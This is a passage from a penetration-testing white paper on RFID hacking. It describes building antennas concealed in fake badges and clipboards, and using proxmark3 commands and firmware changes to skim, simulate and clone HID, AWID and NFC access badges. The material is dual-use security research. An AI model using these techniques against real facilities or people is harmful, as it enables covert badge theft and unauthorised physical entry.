objects
such
as
clipboards,
lanyards,
phone
cases,
or
even
fake
card
readers.
15
http://ww1.microchip.com/downloads/en/AppNotes/00710c.pdf
16
https://github.com/Proxmark/proxmark3/wiki/Antennas
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
First
Antenna
Design
The
first
antenna
design
tested
was
inspired
by
D18c7db’s
LF
antenna
from
the
proxmark3
wiki17
but
using
3D
printed
components
to
create
the
shape.
The
first
antenna
constructed
demonstrated
higher
voltages
than
the
$60
commercial
antenna
purchased
with
the
proxmark3.
Figure
12
First
Coil
Tuning
Output
Constructing
this
antenna
required
some
supplies
(note
that
CubePro
filament
costs
above
average):
40
AWG
Magnet/Enamel
Wire
$9.99
(enough
for
1000+
coils)
Retractable
32”
USB<-‐>Hirose
$5.75
(any
Hirose
cable
is
fine)
Printed
form
$4
(CubePro),
$1
(generic),
Shapeways
($6)
Silicon
squeeze
tube
(optional)
$3
(enough
for
multiple
coils)
Heat
shrink
tubing
(optional)
And
some
basic
tools:
Soldering
iron
Wire
strippers
To
start,
tape
down
a
length
of
wire
on
the
front
and
pull
it
to
the
back
with
the
wire’s
groove.
Now
count
with
each
bend
of
the
wire
(i.e.
count
4
per
turn)
until
you
reach
480
(120
turns).
Be
careful
with
each
turn
that
the
wire
is
not
caught
on
the
side
of
the
form
or
anywhere
other
than
directly
in
the
path
for
the
wire.
At
the
end,
pull
a
length
of
the
wire
to
the
front,
tape
it
down,
and
solder
a
short
wire
to
each
end
of
the
coil.
This
is
more
than
enough
turns
but
this
is
a
case
where
extra
is
definitely
better
than
not
having
enough.
Removing
turns
from
the
loose
end
is
easy
but
if
you
don’t
have
enough
turns
after
you’ve
cut
the
wire
and
started
testing,
you
are
out
of
luck
for
adding
new
turns.
(If
you
have
a
good
meter,
you
can
verify
that
the
connections
are
stable
before
the
next
step.)
It
is
also
important
to
note
that
the
enamel
of
the
wire
will
prevent
conductivity
but
the
heat
of
the
soldering
iron
allows
a
joint
to
be
formed.
The
enamel
can
also
be
removed
by
gently
scraping
with
a
razor.
The
hirose
cable
has
a
wire
pair
for
low
frequency
tuned
coils
and
high
frequency
as
indicated
in
the
referenced
wiki.
The
wire
within
the
hirose
connector
VERT
tested
had
stranded
wires
great
for
17
https://github.com/Proxmark/proxmark3/wiki/Antennas#D18c7db's-‐LF-‐Antenna
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
connecting
into
a
proto-‐board.
The
antenna
can
now
be
attached
to
the
proxmark3
through
a
breadboard
and
tested
on
the
proxmark3
with
the
‘hw
tune’
command.
The
initial
tune
execution
should
show
an
optimal
frequency
below
125kHz
as
in
figure
13.
Figure
13
Untuned
LF
antenna
By
gradually
removing
coils,
the
optimal
frequency
increases
little
by
little
as
shown
in
figure
14.
Figure
14
Unwinding
the
coil
to
tune
it
The
coil
is
unwound
enough
when
the
tune
function
indicates
that
your
target
frequency
is
the
optimal
frequency
for
the
circuit.
Since
125kHz
is
the
carrier
frequency
for
most
badges
used
for
access
control,
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
this
frequency
was
selected
for
the
coil.
For
my
proxmark3,
this
turned
out
to
be
around
90
turns
of
the
coil
rather
than
the
calculated
107
turns.
(This
could
be
the
result
of
component
tolerances
or
uneven
wire
coiling
but
in
the
end
shouldn’t
matter
as
long
as
decent
voltage
is
observed.)
Figure
15
Tuned
coil
for
first
antenna
The
new
antenna
itself
is
not
much
different
in
size
than
a
typical
building
access
control
card
making
it
ideal
for
‘blending
in’
when
used
in
card
simulation
mode.
When
building
an
antenna
like
this
remember
that
40
AWG
wire
is
incredibly
thin
and
easy
to
break
so
it
helps
to
use
adhesives
to
hold
in
the
wires
of
the
coil
while
also
better
securing
the
antenna
as
a
whole
to
the
cable.
Otherwise
it
can
be
very
frustrating
to
finish
up
an
antenna
only
to
tear
too
much
of
the
lead
off
by
accident.
Figure
16
First
antenna
size
perspective
The
use
of
silicon
sealant
around
the
coils
helps
keep
the
coil
in
place
and
tightly
wound,
adding
strength
to
the
very
fragile
magnet
wire.
The
use
of
heat
shrink
tubing
and
hot
glue
also
helps
reduce
the
tension
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Figure
17
First
antenna
(back
side)
BADge
Antenna
With
the
antenna
already
being
very
similar
in
size
to
a
typical
RFID
card,
it
is
easy
to
extend
the
drawing
by
adding
a
lanyard
hook
to
make
for
an
antenna
that
can
be
worn
with
a
lanyard
and
look
very
similar
to
a
‘real’
badge.
Adding
the
loop
was
a
trivial
step
in
CAD
once
general
dimensions
were
known.
Figure
18
Antenna
with
Lanyard
Loop
in
CubePro
The
antenna
was
tuned
similar
to
the
process
described
above
and
then
a
black
wire
was
run
through
a
newly
created
hole
in
a
black
lanyard.
The
cable
was
able
to
come
out
at
the
top
end
with
leads
for
the
antenna
while
the
hirose
connector
for
the
proxmark3
remained
in
my
pocket
out
of
site.
The
cost
of
this
model
on
Shapeways
was
$12.68
including
shipping
and
had
excellent
quality
as
shown
in
figure
19.
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Figure
19
Antenna
hidden
in
fake
badge
Clipwnd
(Clipboard
with
a
Kick)
This
storage
clipboard
comes
packing
a
punch
with
3D
printed
guide
bars
holding
the
proxmark3
and
its
accessories
(including
a
USB
battery
pack)
in
position
to
start
stealing
badge
data.
The
addition
of
embedded
computers
can
open
the
doors
for
more
advanced
functionality
with
support
via
smartphone
or
by
a
third
party
overseeing
your
RFID
hacking
operation.
Figure
20
Storage
clipboards
can
hide
RFID
tools
in
plain
sight
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Business
Information
Modeling
(BIM),
3D
Scanning,
and
RFID
Hacking
3D
printing
opens
up
many
doors
for
rapid
prototyping
of
enclosures
to
make
RFID
hacking
tools
look
like
something
other
than
what
they
are.
The
problem
however
is
accurately
capturing
a
likeness
of
the
intended
object
without
detailed
measurements
or
excellent
artistic
skills.
Fortunately
there
are
some
resources
available
for
reducing
the
complexity
of
this
problem.
Building
Information
Models
(BIMs)
are
a
great
example
of
this
with
more
and
more
manufacturers
contributing
3D
models
of
their
products
for
the
purpose
of
simplifying
the
construction
process.
Catalogues
of
these
models
are
available
for
architects
to
pull
into
AutoCAD
files
with
the
Autodesk
Seek
BIM
catalogue.18
A
simple
Google
query
for
‘DWG
file
repository’
also
reveals
several
other
options
for
obtaining
useful
model
data.
Sometimes
a
model
simply
is
not
available
for
whatever
reason
and
other
steps
must
be
taken
to
generate
a
model.
Just
a
few
years
back
this
would
generally
mean
purchasing
a
$1000+
desktop
scanner
or
perhaps
a
digitizing
arm
to
take
precise
measurements.
This
is
no
longer
the
case
however
as
the
rapid
evolution
of
moderately
priced
3D
printing
has
created
a
market
for
hobbyist
friendly
3D
scanning
solutions.
Some
software
solutions
like
David
3D19
process
images
of
an
object
while
a
laser
beam
moves
across
it.
This
makes
it
possible
to
invest
more
or
less
depending
on
the
required
scan
fidelity
as
the
software
can
achieve
quality
scans
with
relatively
low
quality
hardware.
The
technology
to
map
out
a
3D
space
has
also
penetrated
into
consumer
devices
with
the
most
notable
instance
being
the
Xbox
Kinnect
gaming
controller.
With
the
release
of
APIs
for
working
with
the
Kinnect,
software
packages
such
as
Skannect
and
ReconstructMe
now
allow
it
to
be
used
a
general-‐purpose
3D
scanner
with
impressive
results.
More
recently
VERT
has
experimented
with
3D
scanning
using
the
free
123D
Catch
app
from
Autodesk20
that
processes
a
series
of
smartphone
photos
to
reconstruct
an
object.
Using
Proxmark3
like
a
Boss
The
proxmark3
is
only
as
powerful
as
the
firmware
it
uses
and
the
commands
known
to
the
operator.
In
the
first
half
of
2015
there
have
been
several
new
features
implemented
to
make
the
system
more
powerful.
This
section
of
the
white
paper
starts
by
giving
an
example
of
analyzing
an
unknown
card
and
cloning
it
to
a
T55x7
using
commands
from
pm3
developer
Marshmellow42.
Sometimes
however
a
job
may
call
for
digging
into
the
proxmark3
firmware
and
adding
new
features
for
specific
tasks.
This
section
provides
an
overview
of
how
to
use
some
of
the
newer
advanced
features
explains
by
example
how
to
design
and
implement
new
commands
using
the
AWID26
format
as
an
example.
Using
‘lf
search’
This
section
white
paper
focuses
on
a
few
of
the
changes
in
the
low
frequency
(lf)
context
of
the
device.
New
features
introduced
in
March
2015
allow
automatic
identification
of
low
frequency
tags
and
easy
18
http://seek.autodesk.com/
19
http://www.david-‐3d.com/
20
http://123d.autodesk.com/catch/
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
recovery
of
the
demodulated
tag
data.
This
is
particularly
useful
when
the
goal
is
to
simulate
or
clone
a
tag
after
interrogating
it.
The
first
step
in
this
process
is
‘lf
search,’
a
command
to
sample
data
from
the
coil
and
test
each
implemented
demodulation
looking
for
a
match.
Figure
21
Identifying
HID37
tag
via
'lf
search'
With
the
samples
in
the
proxmark3’s
graph
buffer,
it
is
possible
to
use
other
commands
to
inspect
the
waveform.
Simulation
of
the
tag
from
this
point
is
as
simple
as
running
‘lf
simfsk’
with
no
other
arguments.
Clock
and
logic
settings
are
used
from
the
identified
waveform
as
well
as
the
demodulated
bit
stream.
Printing
and
using
the
demodulated
buffer
The
hexadecimal
representation
of
the
demodulated
buffer
can
be
printed
with
the
data
command
‘printdemodbuffer
x’
as
shown
in
the
following
figure.
Figure
22
demodbuffer
from
HID37
waveform
With
a
little
help
from
a
forum
post
on
the
proxmark
developers
community
forum21
indicates
the
T55x7
block
0
configuration
for
different
popular
tag
types.
HID
tags
use
FSK2a
with
an
RF/50
data
rate
where
a
logical
0
consists
of
six
logic
0
FSK
cycles
and
a
logical
1
is
signaled
by
five
logic
1
FSK
cycles.
This
21
http://www.proxmark.org/forum/viewtopic.php?id=1767
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
corresponds
to
block
0
settings
0x00106070.
The
demodbuffer
bytes
can
then
be
split
up
into
blocks
and
programmed
onto
the
T55x7
card.
Figure
23
Writing
demodbuffer
to
T55xx
Developing
New
Features
for
The
Proxmark3
Sometimes
a
task
requires
going
beyond
existing
features
to
get
the
job
done.
The
open
source
philosophy
of
tools
like
the
proxmark3
make
this
possible
but
it
is
not
always
intuitive
where
to
begin.
Designs
for
the
hardware
and
software
of
proxmark3
are
maintained
in
a
GitHub
repository
along
with
a
helpful
wiki
for
getting
started.22
This
section
is
intended
as
a
reference
guide
for
getting
started
with
proxmark3
firmware
development.
Before
jumping
into
the
code
it
is
helpful
to
introduce
(or
refresh)
some
key
concepts
related
to
how
the
pm3
operates.
Proxmark3
is
a
USB
powered
device
designed
to
either
run
independently
with
push-‐
button
input
(stand-‐alone
mode)
or
receiving
commands
over
a
USB
serial
data
link.
In
contrast
to
tools
like
RFIDler
or
the
recently
released
ChameleonMini,
serial
commands
are
sent
to
the
pm3
using
a
custom
client
rather
than
having
a
native
text
driven
command
line
interface.
The
proxmark
client
instead
issues
commands
to
the
hardware
by
sending
an
UsbCommand
data
structure
containing
a
command
number
and
arguments
to
be
consumed
and
processed
by
the
ARM
CPU.
This
device/client
model
reduces
communication
on
the
serial
bus
and
allows
developers
to
offload
some
operations
from
the
resource
constrained
ARM.
(Constraints
must
be
considered
in
terms
of
both
storage
space
and
processing
capability.)
The
FPGA
is
a
lot
of
what
makes
proxmark3
standout
from
the
crowd
but
fortunately
knowledge
of
Verilog
is
not
required
for
most
development
tasks.
In
fact,
it
should
be
possible
to
add
support
for
any
low-‐frequency
tag
format
entirely
within
C
code.
In
low-‐frequency
mode,
the
FPGA
reads
raw
A/D
samples
via
SPI
and
passes
them
onto
the
ARM
for
processing
using
SSP.
In
high-‐frequency
mode
the
FPGA
abstracts
ISO
compliant
modulations
so
that
the
ARM
can
work
with
those
types
of
tags
as
well.
As
a
C
developer
looking
to
enhance
the
proxmark3,
the
three
main
directories
of
interest
are
armsrc,
client,
and
common.
These
intuitively
named
directories
contain
code
for
the
ARM,
the
proxmark
client,
and
of
course
shared
functionality
accessible
by
either
component.
22
https://github.com/Proxmark/proxmark3
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
In
order
to
illustrate
the
process
of
enhancing
the
proxmark3
firmware,
this
paper
explores
in
depth
the
process
of
introducing
client-‐driven
support
for
a
previously
unsupported
tag
format
and
stand-‐alone
support
for
ISO14443a
(NFC)
tags.
Although
proxmark3
has
an
extensive
list
of
supported
tag
formats,
there
was
no
support
for
AWID
tags
when
this
research
began
and
with
access
to
both
a
card
and
reader
it
was
a
natural
choice
for
contributing
back
to
the
community.23
Adding
real-‐time
demodulation
of
AWID26
While
demodulation
of
an
AWID
FSK
waveform
from
data
samples
was
added
in
January
2015
with
commit
1e090a61a149a58a57e9d9acbf5e5532387867a4,
there
was
no
corresponding
functionality
to
make
the
pm3
an
AWID
reader
in
the
way
‘lf
hid
fskdemod’
allows.
Having
an
AWID26
reader
is
useful
for
practical
attacks
in
which
the
penetration
tester
is
trying
to
skim
badge
numbers.
The
tester
can
leave
real-‐time
demodulation
running
and
logging
while
casually
attempting
to
get
close
enough
to
people
with
legitimate
access
to
the
facility
under
test.
The
first
step
in
supporting
a
new
tag
format
is
to
identify
the
modulation
scheme
and
parameters
in
use.
In
general
when
working
with
a
completely
unknown
tag
the
starting
point
would
be
to
energize
the
card
and
collect
samples
to
plot.
Once
familiar
with
the
general
envelope
of
typical
modulation
schemes,
it
is
often
possible
to
recognize
the
modulation
with
a
simple
visual
assessment
of
the
waveform.
Some
characteristics
such
as
the
data
rate
can
be
calculated
from
the
waveform
while
others
may
require
more
guesswork
or
trial
and
error.
Fortunately
the
AWID
cards
are
clearly
marked
and
as
with
most
cards
of
any
popularity,
the
information
is
out
there
if
you
know
where
to
look.
In
this
case,
I
found
all
the
information
I
needed
from
the
previously
referenced
proxmark.org
thread
on
t55x7
card
programming.
Decoding
the
block
0
value
0x00107060
tells
us
that
AWID
uses
FSK2a
with
RF/50
data
rate
and
the
attached
PDF
illustrates
the
high
and
low
logic
sequences.
This
is
coincidentally
the
same
FSK
modulation
as
used
in
the
popular
HID
tag
format
but
the
similarity
starts
and
ends
there
with
AWID
tags
having
a
different
preamble
pattern
and
encoding
technique.
Moving
the
AWID
demodulation
from
a
client
side
operation
on
the
local
dataset
into
the
ARM
is
a
reasonably
straightforward
process
once
the
logistics
are
understood.
To
start,
I
defined
a
new
command
opcode
with
the
pneumonic
CMD_AWID_DEMOD_FSK
by
adding
it
to
the
appropriate
header
files
referenced
in
the
proxmark3
ARM
section
of
this
document.
Logic
to
handle
this
command
was
added
in
the
USB
packet
handling
routine
from
armsrc/appmain.c
following
the
pattern
used
for
the
‘lf
hid
fskdemod’
command.
A
new
function
CmdAWIDdemodFSK()
was
added
to
armsrc/lfops.c
including
the
logic
from
‘data
fskawiddemod’.
Migrating
the
logic
from
the
client
to
the
device
side
requires
changing
PrintAndLog()
calls
to
the
appropriate
device
side
logging
function
(Dbprintf/DbpString),
code
to
abort
the
function
loop
in
response
to
a
button
press,
and
most
critically
that
the
demodulation
is
fed
by
live
data
acquisition
rather
than
the
graph
buffer.
On
the
device
side
we
simply
obtain
a
pointer
to
BigBuf
with
BigBuf_get_addr()
and
use
DoAcquisition_default()
in
place
of
getFromGraphBuf().
With
the
device
end
of
the
functionality
in
place,
the
only
thing
left
to
do
is
update
the
client
to
include
the
new
context
and
function.
For
maintainability
it
is
best
to
keep
tag
specific
functionality
in
separate
23
Client
demodulation
added
Jan.
18
2015
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
files
and
so
client/cmdlfawid.c
was
created
in
the
likeness
of
client/cmdlfhid.c
along
with
their
associated
header
files.
Within
this
file
is
a
data
structure
CommandTable[]
which
exposes
available
commands
within
a
context.
CommandTable
is
a
command_s
struct
containing
a
command
name,
function
pointer,
an
offline
flag,
and
description.
Since
the
AWID
functionality
falls
under
the
LF
context,
the
AWID
commands
must
be
referenced
from
cmdlf.c
with
a
pointer
to
a
helper
function
to
print
command
usage
for
the
AWID
context.
Example
usage
and
output
from
‘lf
awid
fskdemod’
is
contained
in
figure
24
below:
Figure
24
Sample
output
from
'lf
awid
fskdemod'
Simulation
of
AWID26
tags
from
facility-‐code
and
card
number
As
described
earlier,
it
is
possible
to
simulate
most
low-‐frequency
tags
with
built-‐in
generic
functions
allowing
the
user
to
specify
a
modulated
bit
stream
or
reproduce
an
acquired
waveform.
For
example,
the
tag
scanned
in
figure
24
could
be
automatically
simulated
using
LF
functions
search
and
simfsk.
(In
this
scenario,
if
the
tag
is
supported,
lf
search,
will
populate
the
modulation
options
and
specify
the
demodulated
buffer.)
It
is
also
possible
to
use
lf
simfsk
on
its
own
by
manually
specifying
clock
speed,
high
and
low
logic
sequences,
and
tag
data.
Without
the
tag
present
to
scan
however
it
becomes
a
bit
more
tedious
since
the
operator
would
need
to
manually
compute
the
bits
to
transmit
taking
into
consideration
the
preamble
and
parity
bits.
All
of
the
AWID
tags
I
have
seen
to
date
have
a
printed
facility
code
and
card
number
making
it
possible
to
duplicate
the
card
even
from
a
photograph.
This
section
covers
addition
of
the
‘lf
awid
sim’
command
to
automate
the
process
of
simulating
a
specific
AWID
tag
based
on
the
numbers
printed
on
the
card.
The
first
step
in
this
process
is
of
course
to
write
a
function
for
encoding
a
facility
code
and
card
number
into
a
stream
of
bits
to
be
transmitted.
The
logic
was
coded
into
getAWIDBits()
derived
entirely
from
the
previously
referenced
AWID
PDF
referenced
in
the
T55x7
thread.
This
function
does
the
bit-‐wise
operations
needed
to
construct
an
array
of
bytes
representing
the
card
data.
(Parity
calculations
are
performed
with
the
existing
parityTest()
function.)
While
this
code
could
reside
in
either
the
client
or
the
device
layer,
it
seems
most
appropriate
to
keep
this
in
the
client
since
pm3
will
not
need
to
perform
this
calculation
except
when
receiving
commands
from
the
client
and
so
it
was
added
to
client/cmdlfawid.c.
The
next
step
is
to
implement
code
in
the
client
to
initiate
the
tag
simulation.
While
it
would
be
trivial
to
add
a
specific
command
definition
to
the
ARM
as
was
done
for
the
fskdemod
routine,
it
is
also
completely
unnecessary
and
since
the
ARM
has
a
finite
storage
capacity
it
seems
best
to
reuse
existing
code
where
possible.
Since
we
know
that
the
simfsk
operation
is
already
implemented,
the
easiest
option
is
to
have
the
client
compose
and
send
an
appropriate
UsbCommand.
An
example
of
sending
this
command
is
available
in
armsrc/appmain.c
revealing
that
CMD_FSK_SIM_TAG
is
the
appropriate
command
type
leading
to
the
ARM
function
CmdFSKsimTAG().
Reviewing
the
definition
of
this
function
(in
armsrc/lfops.c)
illustrates
how
the
command
arguments
are
used.
In
this
function,
arg[0]
indicates
the
high
and
low
logic
sequence,
arg[1]
combines
the
clock
rate
and
inversion
setting,
and
arg[2]
indicates
the
size
in
bits
of
the
buffer.
The
buffer
itself
is
passed
in
d.asBytes
with
each
byte
representing
a
bit
in
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
the
intended
stream
meaning
that
the
12-‐byte
code
will
need
to
be
represented
as
96-‐bytes
of
true
or
false.
The
design
of
getAWIDBits()
however
is
to
return
bytes
in
an
easily
printable
format
so
a
for
loop
is
used
to
iterate
over
each
bit
setting
d.asBytes
one
byte
at
a
time
by
iterating
over
the
bits
masking
out
all
but
the
relevant
bit
and
setting
the
byte
accordingly.
As
illustrated
in
figure
25,
the
‘lf
awid
sim’
command
also
displays
the
equivalent
‘lf
simfsk’
parameters
to
simulate
the
specific
tag.
Figure
25
Sample
output
from
'lf
awid
sim
...'
Cloning
AWID26
from
facility-‐code
and
card
number
As
previously
described,
low-‐frequency
tags
can
be
impersonated
by
cards
with
the
T55x7
family
chipset.
Programming
the
card
requires
nothing
more
than
calculating
values
for
each
T55x7
configuration
block
and
writing
them
to
a
card.
(Figures
22
and
23
illustrate
this
relationship.)
As
with
the
simulation
code,
the
first
step
is
to
translate
the
badge
details
into
a
well-‐formed
AWID26
demodulated
buffer
and
then
split
this
across
the
blocks
of
the
T55x7.
Once
again
this
functionality
could
be
performed
by
a
dedicated
function
on
the
ARM
side
but
since
T55x7
programming
functionality
already
exists
it
is
an
easy
task
to
have
the
client
automate
the
task
of
calculating
and
programming
the
tag
blocks.
Writing
to
the
tag
uses
the
CMD_T55XX_WRITE_BLOCK
command
with
arg[0]
for
the
block
data
(4-‐byte
int),
arg[1]
indicates
the
block
number,
and
arg[2]
could
be
used
for
working
with
a
password
protected
card.
Similar
to
the
‘lf
awid
sim’
command,
the
clone
operation
also
prints
the
equivalent
individual
commands
as
shown
below.
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Figure
26
Sample
output
of
'lf
awid
clone
...'
Ironically
this
relatively
simple
functionality
actually
uncovered
a
quirky
behavior
in
the
communication
between
the
client
and
the
device.
After
submitting
the
pull
request
with
this
function,
I
received
feedback
from
another
developer
that
the
clone
method
was
failing
after
block
0.
After
some
back
and
forth
we
were
able
to
establish
that
the
new
code
was
exposing
differences
in
the
serial
communication
as
performed
by
the
Windows
client
versus
Linux/OS
X
clients.
On
Windows,
data
was
being
lost
rather
than
buffered
when
commands
are
sent
from
the
client
in
rapid
succession.
The
ideal
solution
for
this
is
to
have
the
client
wait
for
a
response
from
the
ARM
between
each
command.
This
not
only
eliminates
the
timing
issue
but
also
allows
the
operator
to
validate
that
commands
were
executed.
As
a
short-‐term
solution
however
the
logic
was
updated
to
include
a
short
delay
between
each
command.
Replacing
LF
standalone
mode
with
NFC
functions
Low-‐frequency
and
high-‐frequency
RFID
both
rely
on
a
carrier
wave
to
wirelessly
power
a
chip
through
induction
but
in
practice
the
two
technologies
are
very
different.
Near
field
communication
(NFC)
is
based
on
high-‐frequency
RFID
technology
with
communication
as
specified
by
ISO14443
standards.
Whereas
with
AWID
we
saw
that
the
tag
would
simply
create
the
same
waveform
repeatedly
and
the
reader
would
simply
demodulate
that
signal,
NFC
tags
allow
for
a
variety
of
operating
modes
including
the
general
sharing
of
data.
While
some
tags
support
security
features
such
as
cryptography,
some
popular
applications
are
designed
to
only
verify
basic
unprotected
data
such
as
the
tag’s
unique
identifier.
For
example,
Timo
Kasper’s
PhD
thesis
from
Ruhr-‐University
Bochum
describes
how
the
Siemens
SIPORT
enterprise
solution
for
access
control
was
easily
subverted
because
the
system
relied
on
the
UID
(transmitted
in
plaintext)
and
the
first
sector
of
a
Mifare
Classic
card
using
default
keys.24
Certain
other
access
control
systems
including
the
Android
NFC
‘Smart
Unlock’
feature
and
Samsung
locks
NFC
24
Section
5.6.3
https://www.emsec.rub.de/media/attachments/files/2012/11/timo_phd_thesis.pdf
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
compatible
locks
(like
the
SHS-‐3321)
only
check
the
unprotected
UID.
As
discussed
earlier
in
this
document,
the
UID
block
of
a
tag
is
intended
to
be
a
factory
programmed
unchangeable
value
to
uniquely
identify
the
tag.
This
section
outlines
how
the
proxmark3
firmware
was
enhanced
to
support
stand-‐
alone
operation
to
capture,
clone,
and
emulate
UIDs
from
ISO1443a
compliant
tags.
(Cloning
capability
in
this
initial
design
is
limited
to
changeable
Mifare
Classic
cards.)
Stand-‐alone
mode
runs
entirely
on
the
ARM
with
source
code
contained
within
the
armsrc/appmain.c
source
file.
Each
loop
of
the
main
application
checks
if
a
command
arrived
over
USB
as
well
as
checking
whether
the
push-‐button
was
held
down
for
a
second.
The
traditional
low-‐frequency
operation
invokes
SamyRun()
which
provides
replay
and
simulation
logic
for
HID
tags.
Interacting
with
the
high-‐frequency
tags
requires
a
different
FPGA
configuration
and
of
course
ISO14443
specific
function
calls.
FPGA
configurations
are
stored
in
the
flash
memory
of
the
ARM
and
can
be
loaded
on
demand
with
FpgaDownloadAndGo().
The
FPGA_BITSTREAM_HF
configuration
arranges
the
pin-‐out
so
that
the
appropriate
coil
is
connected
and
the
FPGA
is
ready
to
expect
HF
commands.
The
general
structure
of
stand
alone
operation
can
be
modeled
around
the
existing
SamyRun()
but
it
requires
replacing
HID
logic
with
ISO1443
logic.
For
HID
reading
mode,
SamyRun()
uses
CmdHIDdemodFSK()
but
the
new
logic
will
need
to
first
command
the
FPGA
to
act
as
an
ISO14443a
reader
with
iso14443a_setup(FPGA_HF_ISO1443A_READER_MOD).
Reading
the
UID
of
a
tag
is
covered
with
the
iso14443a_select_card()
call.
This
function
will
return
false
until
a
card
was
successfully
selected
and
its
UID
saved
to
memory.
The
UID
is
printed
and
then
rearranged
to
the
expected
byte
order
for
the
clone
and
replay
functions.
Again
for
cloning,
SamyRun()
uses
a
single
function
CopyHIDtoT55x7()
while
the
HF
equivalent
of
writing
to
a
changeable
UID
card
requires
a
little
more
effort.
First
the
UID
value
must
be
transformed
to
create
a
well-‐formed
block
0.
The
relevant
functions
for
working
with
changeable
UID
Mifare
cards
are
MifareCSetBlock()
and
MifareCGetBlock().
Example
usage
of
these
functions
to
write
a
new
UID
to
a
card
is
presented
in
mfCSetUID()
which
first
reads
block
0
from
the
target
tag
and
then
replaces
the
UID
bytes
while
maintaining
the
reserved
bytes
5-‐7
and
setting
an
appropriate
block
check
character
(BCC).
The
final
stand-‐alone
feature
is
tag
simulation
performed
for
HID
tags
with
CmdHIDsimTAG().
For
ISO14443,
the
equivalent
function
to
use
is
SimulateIso14443aTag()
which
takes
in
high
and
low
order
bytes
for
the
UID
and
configures
the
device
to
act
as
a
tag
with
that
UID.
Simulation
of
an
ISO14443a
tag
however
may
not
work
as
well
as
cloning
to
a
card.
Using
a
PCB
antenna
from
RyscCorp25
works
very
well
for
simulating
the
tag
when
interrogated
by
some
devices
but
hardly
works
on
others.
For
example
when
the
coil
is
brought
in
proximity
to
certain
Samsung
locks
the
simulation
function
reports
unexpected
commands
while
a
cloned
card
works
perfectly.
(Specifically
the
SHS-‐3321
and
SHS-‐3420
locks
were
evaluated.)
This
may
be
a
consequence
of
timing
discrepancies
or
perhaps
related
to
the
antenna
shape
but
experiments
with
other
hardware
based
tag
simulation
(PN533
w/
libNFC
and
ChameleonMini)
had
similar
results.
In
general
these
devices
are
not
recognized
as
tags
by
the
lock.
Further
testing
is
needed
to
definitively
debug
this
behavior
and
determine
whether
this
may
even
be
an
advanced
security
feature
of
the
lock.
Over
the
course
of
many
tests,
the
simulation
mode
worked
25
http://store.ryscc.com/collections/proxmark-‐3/products/high-‐frequency-‐pcb-‐antenna
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
reliably
with
a
Nexus
4
and
Nexus
7
making
it
possible
(as
Google
clearly
warns)
for
a
tag
used
by
the
Android
Smart
Lock26
feature
to
be
replicated
in
this
manner.
With
the
tested
Samsung
locks
however
only
opened
(one
time
only)
after
dozens
of
attempts
with
different
antenna
placement.
None
of
the
tested
NFC
devices
had
problems
reading
from
clone
cards.
Once
the
main
functionality
was
working,
the
next
challenge
was
to
reconsider
the
usage
workflow.
In
the
traditional
LF
stand-‐alone
mode
it
is
necessary
to
first
use
the
button
to
enter
stand-‐alone
mode
and
then
again
to
enter
record
mode.
It
is
also
possible
to
go
directly
into
play
mode
but
since
the
ID
is
not
initialized
or
preserved
across
sessions,
this
seemed
extraneous.
Instead
the
NFC
code
has
been
designed
to
enter
directly
into
reader
mode
and
then
jump
into
replay
mode
when
a
tag
is
read.
This
makes
it
much
easier
to
operate
the
device
in
a
concealed
container
without
exposing
that
the
proxmark3
is
hidden.
With
this
change,
the
replay
mode
waits
for
instructions
to
clone
or
switch
banks
as
displayed
in
the
following
flow-‐chart.
Figure
27
NFC
Stand-‐Alone
Mode
Workflow
26
“Setup
Your
Device
for
Automatic
Unlock”,
https://support.google.com/nexus/answer/6093922?hl=en
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
RFIDler:
The
New
Kid
on
the
Block
If
the
proxmark3
is
a
nice
21-‐year-‐old
bottle
of
single
malt,
RFIDler
is
more
like
a
cheap
bottle
of
vodka.
While
it
might
get
the
job
done,
it
may
not
be
the
most
enjoyable
experience.
While
a
3D
printed
case
definitely
improves
the
read
quality,
it
may
still
be
necessary
to
spend
a
bit
of
time
fiddling
with
coil
placement
or
adjusting
thresholds
with
the
digital
potentiometers.
This
is
particularly
the
case
when
working
with
tags
other
than
the
prevalent
HID
tag
format.
The
simple
circuit
design
and
inexpensive
components
make
RFIDler
potentially
desirable
for
use
as
a
more
expendable
device
able
to
be
left
at
a
target
site
during
a
physical
penetration
test.
Unfortunately
the
design
does
not
include
a
method
for
storing
interrogated
tag
IDs.
Although
someone
with
a
background
in
schematic
layouts
and
PIC
controllers
should
be
able
to
add
an
SD
card
slot
with
minimal
difficulty,
the
overhead
involved
with
designing
and
producing
new
boards
is
probably
not
the
most
cost
effective
unless
a
large
quantity
of
devices
are
required.
(Creating
a
new
board
to
log
the
USB
serial
output
could
face
similar
challenges.)
RFIDlerPi
Pairing
the
RFIDler
with
an
existing
low-‐cost
small
computing
device
would
be
ideal.
This
is
where
the
idea
of
RFIDlerPi
began.
The
$35
Raspberry
Pi
board
compliments
the
RFIDler
quite
well
providing
immediate
data
logging
by
setting
the
RFIDler
to
auto-‐start
in
the
desired
reader
mode
and
the
Pi
configured
with
a
basic
script
or
program
for
dumping
data
off
the
serial
line
and
onto
an
SD
card
or
USB
storage
device.
It
is
also
a
small
leap
from
there
to
add
a
Wi-‐Fi
dongle
to
the
Pi
allowing
the
operator
to
retrieve
data
and
control
the
device
over
a
network
connection.
Naturally
these
techniques
can
also
be
applied
to
other
tools
but
the
RFIDler
is
particularly
easy
to
work
with
for
this
task
because
it
requires
minimal
configuration
particularly
compared
to
use
of
a
proxmark3
that
would
generally
require
compiling
a
new
client
for
the
target
architecture
and/or
making
various
firmware
changes.
Alternatively
if
high-‐frequency
RFID
support
is
needed,
a
$50
USB
based
NFC
reader
will
likely
do
the
trick.
3D
modeling
and
CAD
software
then
makes
it
possible
to
produce
a
custom
enclosure
to
conceal
the
gadgets.
Building
information
modeling
(BIM)
